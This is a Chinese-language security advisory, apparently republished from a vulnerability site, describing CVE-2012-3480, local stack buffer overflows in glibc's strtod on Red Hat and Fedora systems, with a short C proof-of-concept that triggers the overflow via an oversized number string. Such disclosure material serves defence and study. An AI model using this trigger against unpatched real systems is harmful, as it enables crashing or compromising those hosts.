GNU glibc多个本地栈缓冲区溢出漏洞

发布日期:2012-08-13
更新日期:2012-08-14

受影响系统:
RedHat Enterprise Linux 6
RedHat Enterprise Linux 5.0
RedHat Fedora 17
RedHat Fedora 16
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 54982
CVE ID: CVE-2012-3480

glibc是绝大多数Linux操作系统中C库的实现。

GNU glibc在实现上存在多个缓冲区溢出漏洞,本地攻击者可利用这些执行任意代码。

<*来源:Joseph S. Myer
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Joseph S. Myer ()提供了如下测试方法:

include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define EXPONENT "e-2147483649"
#define SIZE 214748364
int
main (void)
{
  char *p = malloc (1 + SIZE + sizeof (EXPONENT));
  if (p == NULL)
    {
      perror ("malloc");
      exit (EXIT_FAILURE);
    }
  p[0] = '1';
  memset (p + 1, '0', SIZE);
  memcpy (p + 1 + SIZE, EXPONENT, sizeof (EXPONENT));
  double d = strtod (p, NULL);
  printf ("%a\n", d);
  exit (EXIT_SUCCESS);
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

RedHat
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wypwzx.html